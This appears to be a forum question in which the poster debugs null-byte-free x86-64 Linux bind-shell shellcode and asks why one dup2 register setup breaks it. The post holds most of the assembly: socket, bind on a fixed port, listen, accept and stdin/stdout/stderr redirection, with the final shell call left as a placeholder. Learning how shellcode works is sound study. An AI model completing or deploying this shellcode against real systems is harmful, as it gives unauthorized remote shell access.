title: Remove null byte assembly shellcode
body: <p>When removing null bytes from my shellcode I cannot seem to be able to get the null bytes in a mov rsi instruction to cleanly be removed without a weird workaround.</p>
  
  <p>I have a bindshell shellcode and when doing the dup2 syscall I have to set rsi to 0, 1 and 2 so I can set stdin, stdout and stderror back to the "user".
  When removing null bytes I would normally do something like:</p>
  
  <pre><code>xor rsi, rsi
  mov sil, 1
  </code></pre>
  
  <p>But that breaks my shellcode somehow.
  So what I did that worked was:</p>
  
  <pre><code>xor rsi, rsi
  mov sil, al
  sub sil, al
  add sil, 1
  </code></pre>
  
  <p>Which is a bit much...</p>
  
  <p>Can someone hellp m along the way why I am breaking the shellcode with just a mov sil, 1 ?</p>
  
  <p>EDIT:
  The complete not working code:</p>
  
  <pre><code>global _start
  
  
  _start:
  
      xor rax, rax
      mov al, 41
      xor rdi, rdi
      mov dil, 2
      xor rsi, rsi
      mov sil, 1
      xor rdx, rdx
      mov dl, 1
      sub dl, 1
      syscall
  
      mov rdi, rax
  
      xor rax, rax 
  
      push rax
  
      mov dword [rsp-4], eax
      mov word [rsp-6], 0x5c11
      mov byte  [rsp-8], 0x2
      sub rsp, 8
  
  
      mov al, 49
  
      mov rsi, rsp
      mov dl, 16
      syscall
  
      mov al, 50
      mov sil, 2
      syscall
  
  
      mov al, 43
      sub rsp, 16
      mov rsi, rsp
      mov byte [rsp-1], 16
      sub rsp, 1
      mov rdx, rsp
  
      syscall
  
      mov r9, rax 
  
  
      mov al, 3
      syscall
  
  
      mov rdi, r9
      mov al, 33
      xor rsi, rsi
      mov sil, al
      sub sil, al
      syscall
  
      mov al, 33
      xor rsi, rsi
      **mov sil, 1**
      syscall
  
      mov al, 33
      xor rsi,rsi
      **mov sil, 2** 
      syscall
  
  HERE COMES ACTUALL SHELL CALLING
  </code></pre>